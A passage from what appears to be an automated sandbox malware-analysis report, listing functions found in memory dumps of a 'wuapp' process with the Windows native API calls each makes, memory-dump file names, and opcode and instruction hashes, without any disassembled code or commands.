Opcode Fuzzy Hash: 0e6f602c42f14cc5e16e1ed26be39846bed8539e117ae552000b1057516d79ba
Instruction Fuzzy Hash: 1811CEB2204108ABCB18DF88ED85DEB77ADEF8C754F108608FA0D97245D630E861CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0012A2CA Relevance: 1.5, APIs: 1, Instructions: 43
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,00000005,00000000,001257A7,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,001257A7,00000000,00000005,00000060,00000000,00000000), ref: 0012A31D

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 34416b3c67aabb50b3260deba280d7f321ba982010436e84802275f453fc1dae
Instruction ID: 5c4005991c0dfc2f99eb6ab37daa5bbae489e7e97368593a1ad532225aafe005
Opcode Fuzzy Hash: 34416b3c67aabb50b3260deba280d7f321ba982010436e84802275f453fc1dae
Instruction Fuzzy Hash: A701A4B2200108AFCB48CF98DC85DEB37A9AF8C354F118259FA0DD7255D630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0012A2D0 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000005,00000000,001257A7,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,001257A7,00000000,00000005,00000060,00000000,00000000), ref: 0012A31D

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 48d3632995a7b26b824f235392bcc6b0a4ea212460d230c7ade1e6732e9d5a4a
Instruction ID: 05c6136831665a7db2c1c06687f6694819d4ab34231229cfebf32cde63c2942a
Opcode Fuzzy Hash: 48d3632995a7b26b824f235392bcc6b0a4ea212460d230c7ade1e6732e9d5a4a
Instruction Fuzzy Hash: 79F06DB6215208AFCB48DF89DC85EEB77ADAF8C754F118248BA0997245D630F8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0012A380 Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(00125962,5DB515AF,FFFFFFFF,00125621,00000206,?,00125962,00000206,00125621,FFFFFFFF,5DB515AF,00125962,00000206,00000000), ref: 0012A3C5

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a61962a776c40c0761ec9b5d264e231ef2a343af67136adf04206c6c4bc3357e
Instruction ID: ca19913c4145ae4f9aad6efc8169e3c4a99abf8a2bbff5c29675975ae4f5a00f
Opcode Fuzzy Hash: a61962a776c40c0761ec9b5d264e231ef2a343af67136adf04206c6c4bc3357e
Instruction Fuzzy Hash: B6F0A4B2200208ABCB14DF99DC85EEB77ADAF8C754F118248BA0D97245D630E811CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0012A4AA Relevance: 1.5, APIs: 1, Instructions: 32memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00112D11,00002000,00003000,00000004), ref: 0012A4E9

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: dc16da0520ef190a3e8130b28335fede87111d9001cde4ac03091b5b427adf8d
Instruction ID: 0aeb6ef558aa81bceff9fe8606a1d6ccd8037d8bda53d8cc90d1af36294164b1
Opcode Fuzzy Hash: dc16da0520ef190a3e8130b28335fede87111d9001cde4ac03091b5b427adf8d
Instruction Fuzzy Hash: EDF0F8B6210114AFDB14DF98DD81EEB77A9EF88354F118149FE59A7241C630E811CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0012A4B0 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00112D11,00002000,00003000,00000004), ref: 0012A4E9

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 33bb83296b48386454dbb765a9fa584987a824901d4fa82aee9f69387c62dbb1
Instruction ID: a4e7422d8f3ac20b69194f42acfae16fa09eb01913eab41ad8d93e5edd72502b
Opcode Fuzzy Hash: 33bb83296b48386454dbb765a9fa584987a824901d4fa82aee9f69387c62dbb1
Instruction Fuzzy Hash: DFF015B2210218ABDB14DF89DC81EAB77ADAF8C754F018108BE0897241C630F810CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 0012A400 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00125940,00000206,?,00125940,00000005,FFFFFFFF), ref: 0012A425

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 881ea047b92b26aa447024a6cbf2ec0bd8a5bbf6b70a504f16765888542bc5d5
Instruction ID: d83c345c475b5c423e0729b2d9849c85169cf34b47ee2783d210f34fedd505dd
Opcode Fuzzy Hash: 881ea047b92b26aa447024a6cbf2ec0bd8a5bbf6b70a504f16765888542bc5d5
Instruction Fuzzy Hash: 2BD01772200214ABD720EB98EC89E9B7BACDF48660F018055BA485B242C630FA1086E1

Uniqueness

Uniqueness Score: -1.00%

Function 01EA00C4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EA00CF

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 01EA07AC Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EA07B7

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 01E9F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9F9FB

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 01E9F900 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9F90E

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FBB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FBC3

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FB73

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FB50 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FB5B

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FAF3

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FAD0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FADB

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FAB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FAC3

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FDCB

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FD8C Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FD9A

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FC60 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FC6B

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FFB4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FFBF

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
